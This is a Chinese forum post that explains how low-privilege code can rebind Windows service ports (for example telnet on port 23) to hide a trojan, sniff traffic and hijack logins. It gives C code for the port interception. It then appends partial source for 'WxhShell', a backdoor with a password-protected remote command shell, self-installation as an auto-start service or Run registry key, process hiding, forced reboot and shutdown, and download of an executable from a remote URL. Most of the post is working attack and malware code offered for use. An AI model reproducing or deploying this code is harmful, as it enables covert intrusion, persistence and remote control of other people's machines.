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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +qC [X~\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); L+<h 5>6  
iRlZWgj4^  
  saddr.sin_family = AF_INET; %<(d %&~  
AD?XJ3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); CW?Z\  
-bHlFNRm  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); tO:JB&vO2  
aK@ Y) Ju'  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 sVw:d _ E  
S_Wq`I@b  
  这意味着什么?意味着可以进行如下的攻击: ?{^_z_,  
4^bt~{}  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Bps%>P~.  
C)EP;5k'!\  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Q+9:]Bt  
2[qfF6FHA  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 prz COw  
3-{BXht)  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  -kMw[Y  
aXJ/"k #Tl  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?<C(ga  
|`#fX(=  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Q/ .LDye8  
T[k$[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 kF~(B]W(  
6` TwP\!$/  
  #include R2sG'<0B0  
  #include i:0v6d  
  #include "j,vlG  
  #include    g}D)MlXRq  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ^?+[yvq  
  int main() Si?s69  
  { hDJG.,r  
  WORD wVersionRequested; l X+~;94  
  DWORD ret; tSJ#  
  WSADATA wsaData; 4F#H$`:[  
  BOOL val; [_(J8~ va  
  SOCKADDR_IN saddr; $5JeN{B  
  SOCKADDR_IN scaddr; Nbd4>M<  
  int err; $It mYj.m  
  SOCKET s; CE`]X;#y  
  SOCKET sc; P|$n   
  int caddsize; '@.6Rd 8  
  HANDLE mt; M8X6!"B$Y  
  DWORD tid;   KQNQ<OE 4  
  wVersionRequested = MAKEWORD( 2, 2 ); 1#,4P1"  
  err = WSAStartup( wVersionRequested, &wsaData ); Qq`S=:}~x  
  if ( err != 0 ) { vu*e*b$}  
  printf("error!WSAStartup failed!\n"); j*?8w(!  
  return -1; 8c)GUx  
  } vF$( Y/  
  saddr.sin_family = AF_INET;  k;+TN9  
   QX<n^W  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 z!3=.D  
o{,I O!q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3)EJws!  
  saddr.sin_port = htons(23); <!Cjq,Sk7  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1DB{"8ov  
  { 'cpm 4mT  
  printf("error!socket failed!\n"); O3o ^%0  
  return -1; Xs052c|s  
  } kJ5z['4?  
  val = TRUE; ^^"zjl*^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~-A"j\gi"  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :lB`K>)iB}  
  { d*d:-f~q  
  printf("error!setsockopt failed!\n"); 3O2G+G2  
  return -1; r89AX{:  
  } prj(  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0Gs\x  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 F}u'A,Hc  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >SDQ@63E?  
(Ut8pa+yX  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) p*Q-o  
  { (a_bU5)  
  ret=GetLastError(); QGuqV8 y0  
  printf("error!bind failed!\n"); ~6t!)QATnp  
  return -1; $vu*# .w  
  } -n9&W  
  listen(s,2); e&z@yy$  
  while(1) 0!3. .5==  
  { OK80-/8HI  
  caddsize = sizeof(scaddr); "++\6 H<  
  //接受连接请求 00 x -  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); uM`i!7}  
  if(sc!=INVALID_SOCKET) jlj ge=#c2  
  { 66pjWS {X  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Pjs=n7  
  if(mt==NULL) (SRY(q  
  { ~6i'V?>  
  printf("Thread Creat Failed!\n"); g9" wX?*  
  break; F9o7=5WAb  
  } / rc[HbNg.  
  } }dzdx "  
  CloseHandle(mt); @. -S(MNR  
  } * |,N/e  
  closesocket(s); ^ 0YQlT98  
  WSACleanup(); >*{k~Y-G  
  return 0; VBL4cU8D  
  }   J~5V7B  
  DWORD WINAPI ClientThread(LPVOID lpParam) =\.*CY|;N  
  { xZ`z+)  
  SOCKET ss = (SOCKET)lpParam; `Qo37B2  
  SOCKET sc; Mm@G{J\\  
  unsigned char buf[4096]; > mO*.'Gm  
  SOCKADDR_IN saddr; %!nI]|  
  long num; a|z-EKV  
  DWORD val; /3aW 0/^o  
  DWORD ret; )K{s^]Jp  
  //如果是隐藏端口应用的话,可以在此处加一些判断 s9+):,dKP  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $b|LZE\bU.  
  saddr.sin_family = AF_INET; n!z!fh  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6 ^3RfF^W  
  saddr.sin_port = htons(23); G"?7 Z&+  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d/9YtG%q  
  { 9\.0v{&v  
  printf("error!socket failed!\n"); 3FR(gr$X  
  return -1; ,7j8+p|},  
  } YAc:QVT87  
  val = 100; X\Bl? F   
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) P#hRqETw  
  { `TJhH<z"%  
  ret = GetLastError(); Cy?]o?_?  
  return -1;  nz?[  
  } D-/6RVq0m  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) o5s6$\"  
  { h,Hr0^?  
  ret = GetLastError(); }eVDe(7_  
  return -1; Vbv^@Kp  
  } {*O%A  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) sR9$=91`  
  { 67rY+u%  
  printf("error!socket connect failed!\n"); 16/  V5  
  closesocket(sc); {%3WHGr%L  
  closesocket(ss); Vx<{cHQQ  
  return -1; [`GSc6j  
  }  PFX,X  
  while(1) r[V%DU$dj  
  { @!")shc  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7N 0Bj!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 gg#9I(pX  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1TTS@\  
  num = recv(ss,buf,4096,0); +1T>Ob;hk  
  if(num>0) G K~A,Miqk  
  send(sc,buf,num,0); LKvX~68  
  else if(num==0) W]eILCo  
  break; R7Qj<,  
  num = recv(sc,buf,4096,0); 6 EqN>.  
  if(num>0) 3yRvs;nWS  
  send(ss,buf,num,0); B7uK:J:c*H  
  else if(num==0) ]z'L1vQl7  
  break; ;t+p2i  
  } Sk53Lc  
  closesocket(ss); I+ |uyc  
  closesocket(sc);  d\ #yWY  
  return 0 ; AVjRhe   
  } 9R$$(zB 1;  
AHs%?5YTY;  
IB# ua:  
========================================================== OT\D;Z"__I  
!f(A9V  
下边附上一个代码,,WXhSHELL I?D=Q $s  
T2rwK2  
========================================================== R7rM$|n=o  
H&ek"nP_  
#include "stdafx.h" o+hp#e  
?M'CTz}<\  
#include <stdio.h> <y?+xZM]#|  
#include <string.h> -I{op wd  
#include <windows.h> JYNn zgd  
#include <winsock2.h> Y&bYaq  
#include <winsvc.h> gWHY7rv  
#include <urlmon.h> =T3{!\tH  
?x ",VA  
#pragma comment (lib, "Ws2_32.lib") b&!}SZ  
#pragma comment (lib, "urlmon.lib") (+v':KH3_  
7a9">:~  
#define MAX_USER   100 // 最大客户端连接数 D>jtz2y=D  
#define BUF_SOCK   200 // sock buffer Ch?yk^cY  
#define KEY_BUFF   255 // 输入 buffer H 2I  
^e^-1s  S  
#define REBOOT     0   // 重启 H9jlp.F  
#define SHUTDOWN   1   // 关机 {G=>WAXo  
'KmM %tN  
#define DEF_PORT   5000 // 监听端口 7|=SZ+g  
!Dc?9W!b  
#define REG_LEN     16   // 注册表键长度 e;=R8i  
#define SVC_LEN     80   // NT服务名长度 G0: <#?<5  
w@2NXcmw  
// 从dll定义API w +UB XW  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R5b,/>^'A  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1 sza\pR<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JGq9RB]D$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K @&c  
=UO7!vr;[  
// wxhshell配置信息 ]z7pa^  
struct WSCFG { ){/n7*#Th%  
  int ws_port;         // 监听端口 ^'N!k{x  
  char ws_passstr[REG_LEN]; // 口令 rk=w~IZJ3  
  int ws_autoins;       // 安装标记, 1=yes 0=no (~\HizSl  
  char ws_regname[REG_LEN]; // 注册表键名 vB7]L9=@"  
  char ws_svcname[REG_LEN]; // 服务名 Wx/PD=Sf&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |C./gdq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 n=rmf*,?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b6e 2a/x  
int ws_downexe;       // 下载执行标记, 1=yes 0=no T^8`ji  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -;Mh|!yg  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3J4OkwqD  
)sIzBC  
}; ?jO<<@*2S  
BpFX e7  
// default Wxhshell configuration 4Vj]bm  
struct WSCFG wscfg={DEF_PORT, Tw/7P~*  
    "xuhuanlingzhe", }5" Rj<  
    1, %j2:W\g:  
    "Wxhshell", C]ho7qC  
    "Wxhshell", qzY:>>d'  
            "WxhShell Service", 3 P\4K  
    "Wrsky Windows CmdShell Service", J'#o6Ud  
    "Please Input Your Password: ", SPT x-b[  
  1, =`}|hI   
  "http://www.wrsky.com/wxhshell.exe", )MN6\v  
  "Wxhshell.exe" ~E DO< O>3  
    }; N^`S'FVA  
e'|P^G>g  
// 消息定义模块 bneP>Bd  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *Q [%r  
char *msg_ws_prompt="\n\r? for help\n\r#>"; rIv#YqT  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5 a&a-(  
char *msg_ws_ext="\n\rExit."; S2I{?y&K  
char *msg_ws_end="\n\rQuit."; hsws7sH  
char *msg_ws_boot="\n\rReboot..."; kU)E-h  
char *msg_ws_poff="\n\rShutdown..."; }i;!p Ue$  
char *msg_ws_down="\n\rSave to "; q|B.@Ng.  
-oju-gf K  
char *msg_ws_err="\n\rErr!"; #B$_ily)  
char *msg_ws_ok="\n\rOK!"; X=Y>9  
]nS9taEA   
char ExeFile[MAX_PATH]; O St~P^1  
int nUser = 0; #R= 6$  
HANDLE handles[MAX_USER]; g{?{N  
int OsIsNt; !q+ %]k?x  
~:="o/wo  
SERVICE_STATUS       serviceStatus; >tkU+$;-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >Co@K^'  
rt! lc-g%/  
// 函数声明 gepYV}  
int Install(void); }N3Ur~X\  
int Uninstall(void); _rUsb4r  
int DownloadFile(char *sURL, SOCKET wsh); "y .(E7 6  
int Boot(int flag); #=fd8}9  
void HideProc(void); 7&dPrnQX=  
int GetOsVer(void); "aGpC{  
int Wxhshell(SOCKET wsl); t2-bw6U  
void TalkWithClient(void *cs); Ga"<qmLMc  
int CmdShell(SOCKET sock); Zg;Ht  
int StartFromService(void); bu\D*-  
int StartWxhshell(LPSTR lpCmdLine); Wf  *b"#  
wqn }t]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xe1xP@e?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;cZ]^kof  
;fY)7 '  
// 数据结构和表定义 !B*d,_9 c  
SERVICE_TABLE_ENTRY DispatchTable[] = %lK]m`(  
{ %$(*.o!+8  
{wscfg.ws_svcname, NTServiceMain}, 0V#eC  
{NULL, NULL} (/_Z^m9   
}; ,OO0*%  
$66DyK?  
// 自我安装 S|v-lJ/I  
int Install(void) ^sVB:?  
{ Ll6|WhX  
  char svExeFile[MAX_PATH]; <j89HtCz  
  HKEY key; BB m;QOBU  
  strcpy(svExeFile,ExeFile); .zyi'Kj  
6t6#<ts  
// 如果是win9x系统,修改注册表设为自启动 ZTSNM)f  
if(!OsIsNt) { }3mIj<I1;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]2B=@V t,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E2{SKIUm  
  RegCloseKey(key); s@bo df&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xyTjK.N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v.I>B3bEg  
  RegCloseKey(key); oBTRO0.s+  
  return 0; e?~6HP^%.  
    } T#sKld  
  } 7L&=z$U@m  
} |Gh~Zu p  
else { U ()36  
Y)4&PN~[  
// 如果是NT以上系统,安装为系统服务 k GzosUt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "8Y4;lbN.q  
if (schSCManager!=0) y"SVZ} ;|  
{ h"G#} C]  
  SC_HANDLE schService = CreateService u($y<Q)=  
  ( K%A:W  
  schSCManager, hK&/A+*  
  wscfg.ws_svcname, Y/_b~Ahn  
  wscfg.ws_svcdisp,  cUz7F  
  SERVICE_ALL_ACCESS, aE( j_`L78  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Am? dHP  
  SERVICE_AUTO_START, Cuq=>J  
  SERVICE_ERROR_NORMAL, ca1A9fvo  
  svExeFile, A/EW57v"  
  NULL, =F5(k(Ds  
  NULL, |,89zTk'  
  NULL, ^H1B 62_  
  NULL, _"B5S?  
  NULL Zi fAn  
  ); |%R}!O<.c  
  if (schService!=0) kN*,3)T;}  
  { J!,<NlP0K  
  CloseServiceHandle(schService); -%lA=pS{Fq  
  CloseServiceHandle(schSCManager); 'Bp7LtG92  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h$EH|9HAb  
  strcat(svExeFile,wscfg.ws_svcname); aoh"<I%]>4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~P85Or  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7 Ld5  
  RegCloseKey(key); c} GH|i  
  return 0; W"_")V=QBz  
    } V3NQij(  
  } #,1Kum bG3  
  CloseServiceHandle(schSCManager); d tw4cG  
} Re{vO&.  
} `r:n[N=Y&  
{f\/2k3  
return 1; kqfO3{-;{:  
} ) )q4Rh  
ew# t4~hh  
// 自我卸载 P"LbWZ6Nj  
int Uninstall(void) 6;g"`l51  
{ )V<ML7_?  
  HKEY key; |<l  sv  
%o4ZD7@ '  
if(!OsIsNt) { +wU9d8W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  ]CD  
  RegDeleteValue(key,wscfg.ws_regname); lr:rQw9  
  RegCloseKey(key); dMw0Aw,2]8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qcSlY&6+  
  RegDeleteValue(key,wscfg.ws_regname); VL5GX (  
  RegCloseKey(key); |^^'GZ%a  
  return 0; *E0dCY$  
  } B 3Y,|*  
} 0>?%{Xy  
} I'Dc9&2  
else { "NY[&S  
@7Oqp-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); cRm+?/  
if (schSCManager!=0) zrqQcnx9(m  
{ b!C\J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h\#\hx  
  if (schService!=0) xx`xDD  
  { @kCFc}  
  if(DeleteService(schService)!=0) { 5hN`}Ve  
  CloseServiceHandle(schService); RjC3wO::  
  CloseServiceHandle(schSCManager); 'O%itCy)  
  return 0; &DQyJJ`k  
  } N?Byp&rqI<  
  CloseServiceHandle(schService); % ~eIx=s  
  } F7!g+LPc<  
  CloseServiceHandle(schSCManager); ,Jm2|WKH  
} jlvh'y`  
} ' U]\]Wp  
]}t6V]`Q  
return 1; $#VEC0  
} .ME>ICA  
} + ]A?'&  
// 从指定url下载文件 ;L1Q"Hxh  
int DownloadFile(char *sURL, SOCKET wsh) u^HC1r|%  
{ 5G$N  
  HRESULT hr; (X=JT  
char seps[]= "/"; 5f;6BP  
char *token; zl?Gd4  
char *file; hk6(y?#  
char myURL[MAX_PATH]; 6# [  
char myFILE[MAX_PATH]; ]S@zhQ  
RLy(Wz3%  
strcpy(myURL,sURL); -|0nZ  
  token=strtok(myURL,seps); B bU%p  
  while(token!=NULL) b`a4SfbQS  
  { K/xn4N_UX  
    file=token; 99<]~,t=5  
  token=strtok(NULL,seps); Gw!VPFV>W  
  } sIUhk7Cd8  
=35g:fL  
GetCurrentDirectory(MAX_PATH,myFILE); /V-uo(n< .  
strcat(myFILE, "\\"); ~ _ ogeD  
strcat(myFILE, file); 2/XrorV  
  send(wsh,myFILE,strlen(myFILE),0); b 6kDkE  
send(wsh,"...",3,0); s7(NFX5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \wMqVRPoQ  
  if(hr==S_OK) 6T"4<w[  
return 0; ``X1xiB  
else RT+pB{Y  
return 1; WP5cC@x  
JVfSmxy.  
} (*~'#k  
6,wi81F,}  
// 系统电源模块 2IfcdYG  
int Boot(int flag) 0d>|2QV   
{ b suGZ  
  HANDLE hToken; &>nB@SQZ  
  TOKEN_PRIVILEGES tkp; 7+!FZo{?  
dC'8orFG+  
  if(OsIsNt) { `O+}$wP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1zNh& "  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vIq>QXb;d  
    tkp.PrivilegeCount = 1; '80mhrEutG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wh Hp}r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %#go9H(K  
if(flag==REBOOT) { _HMQx_e0YM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k)j6rU  
  return 0; >W?i+,g  
} g=#Cc( q  
else { 4{PN9i E  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O)N$nBnp  
  return 0; ,xSNTOJ  
} e1<9:h+  
  } (YV]T!q  
  else { qjr:(x/  
if(flag==REBOOT) { S_eD1iY2-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PJfADB7Y  
  return 0; Y0z)5),[U:  
} 8SZZ_tS3r  
else { $^TxLv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g5& ZXA  
  return 0; p>ba6BDJT  
} 4h*c{do  
} %LM2CgH V  
|*fi!nvk@  
return 1; dI(1L~  
} 2v$\mL  
r+Pfq[z&  
// win9x进程隐藏模块 R|m!*B~  
void HideProc(void) ;S_Imf0$v  
{ X-4(oE  
iv!;gMco  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +X%pUe  
  if ( hKernel != NULL )  l;;,[xhq  
  { UuKW`(?^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5)c B\N1u  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Lo<WK  
    FreeLibrary(hKernel); R+*-i+]Q#7  
  } xe4`D>LUo  
9^?2{aP%  
return; SuR+Vv  
} <`V_H~Z  
([ jm=[E^  
// 获取操作系统版本 <@S'vcO  
int GetOsVer(void) )H1\4LeP  
{ oA*88c+{f  
  OSVERSIONINFO winfo; A(D>Zh6o@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); u?4d<%5R!  
  GetVersionEx(&winfo); @?n~v^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r1&eA%eh  
  return 1; {i<L<Y(3  
  else ,Mr_F^|  
  return 0;  .: Zw6  
} lyS`X  
Fy*t[>  
// 客户端句柄模块 pzT,fmfk  
int Wxhshell(SOCKET wsl) s?JOGu  
{ L9]y~[R:  
  SOCKET wsh; -5b#w"^w^  
  struct sockaddr_in client; 'u#c_m! 9  
  DWORD myID; 5oe{i/#di  
F2>W{-H+  
  while(nUser<MAX_USER) .~a.mT  
{ < ZG!w^  
  int nSize=sizeof(client); {^.q6,l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r,<p#4(>_  
  if(wsh==INVALID_SOCKET) return 1; W5uC5C*,l  
bXz*g`=;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _<6E>"*m  
if(handles[nUser]==0) `l'Ine 11  
  closesocket(wsh); !lL~#l:F  
else "sSY[6Kp!  
  nUser++; .wO-2h{Q  
  } ! GJT-[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Q5&|1m Pb  
ctoh&5%!n+  
  return 0; Ub{7Xk n  
} Y1;jRIOA  
{(IHHA>  
// 关闭 socket 3V]08  
void CloseIt(SOCKET wsh) )b~+\xL5J  
{ hZ|8mV  
closesocket(wsh); % kaV ?j  
nUser--; #~o<9O  
ExitThread(0); Hf +oG  
} N(kSE^skOa  
?X+PNw|pf  
// 客户端请求句柄 C1uV7t*\  
void TalkWithClient(void *cs) t=\ ffpA  
{ Mn 8| K nh  
9JqT"zj  
  SOCKET wsh=(SOCKET)cs; F@KtRUxE  
  char pwd[SVC_LEN]; Gs>4/  
  char cmd[KEY_BUFF]; !<<wI'8  
char chr[1]; Jsa;pG=3&  
int i,j; :(K JLa]  
5`6U:MDq  
  while (nUser < MAX_USER) { gL &)l!2Y  
 e**5_L  
if(wscfg.ws_passstr) { _Qq lOc9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v\g1 w&PN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EeQ2\'t  
  //ZeroMemory(pwd,KEY_BUFF); CHVAs9mrNB  
      i=0; F;MACu;x  
  while(i<SVC_LEN) { kZ0z]Y  
Ekn3ODz,  
  // 设置超时 ?r}2JHvN  
  fd_set FdRead; ( m7qc  
  struct timeval TimeOut; :<H4hYt2  
  FD_ZERO(&FdRead); VFK]{!C_  
  FD_SET(wsh,&FdRead); Q yhu=_&  
  TimeOut.tv_sec=8; T5-Yqz  
  TimeOut.tv_usec=0; d/b\:[B@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `NQ;|!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,E8g~ZUY9  
ey$H2zmo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <r)5jf  
  pwd=chr[0]; Zul@aS !  
  if(chr[0]==0xd || chr[0]==0xa) { fjMmlp  
  pwd=0; xP 7mP+D  
  break; It]GlxMX  
  } Q$5%9  
  i++; 4WPco"xH!  
    } j>5X^Jd  
dpT?*qLM  
  // 如果是非法用户,关闭 socket LlD=c  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &{bNa:@  
} ?weuq"*a  
F jW%M;H  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mln%Rd6u/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s6DPb_,  
`,Fc271`  
while(1) { 1I%niQv5t  
59(kk;  
  ZeroMemory(cmd,KEY_BUFF); zhh6;>P  
EL6<%~,V"I  
      // 自动支持客户端 telnet标准   H|3CZ=U?  
  j=0; qykI[4  
  while(j<KEY_BUFF) { 9Qq%Fw_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); keJ-ohv)  
  cmd[j]=chr[0]; L?(m5u~b  
  if(chr[0]==0xa || chr[0]==0xd) { JHuA}f{2&  
  cmd[j]=0; M8VsU*aU  
  break; S-79uo  
  } }:\e "Bfv  
  j++; ]{AHKyA{:  
    } SJlL!<i$  
4rypT-%^;  
  // 下载文件 d 1 O+qS  
  if(strstr(cmd,"http://")) { '<h@h*R  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }7i}dyQv}  
  if(DownloadFile(cmd,wsh)) lWFm>DiLY  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m@yx6[E#  
  else n*hRlL  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T'7x,8&2|  
  } hOe$h,E']  
  else { ;nb>IL  
Mvk#$:8e  
    switch(cmd[0]) { 6MbMAh5>  
  u73/#!(1=H  
  // 帮助 (N{  
  case '?': { Ifj%"RI  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h}%yG{'/M=  
    break; 7T?7KS  
  } eD N%p  
  // 安装 'x= y:0A  
  case 'i': { HgRfMiC  
    if(Install()) yF1^/y!@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !Op18hP$  
    else }J:WbIr0!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <PQ[N[SU  
    break; :yAvo4 )  
    } <$`ud P@  
  // 卸载 !B&1{  
  case 'r': { LiD-su D  
    if(Uninstall()) |y2cI,&   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m}nA- *  
    else Alb5#tm:m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  \4&FW|mx  
    break; Gp))1b';  
    } ?[q.1O  
  // 显示 wxhshell 所在路径 &?7+8n&+  
  case 'p': { [>f4&yY  
    char svExeFile[MAX_PATH]; @0rwvyE=+3  
    strcpy(svExeFile,"\n\r"); 3WF6bJN  
      strcat(svExeFile,ExeFile); _xXDvBU  
        send(wsh,svExeFile,strlen(svExeFile),0); jz$83TB-  
    break; bq` 0$c%hN  
    } h>K%Ox R  
  // 重启 %LZf= `:(  
  case 'b': { wB W]w  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); UjQi9ELoJ  
    if(Boot(REBOOT)) 5P <  F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <S M%M?  
    else { Yim`3>#t  
    closesocket(wsh); w~=@+U$f  
    ExitThread(0); &:*|KxX  
    } ^k}jPc6  
    break; f<G:}I  
    } j*;/Cah]k  
  // 关机 )*3sE1  
  case 'd': { o*WI*Fb'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); })}-K7v1+  
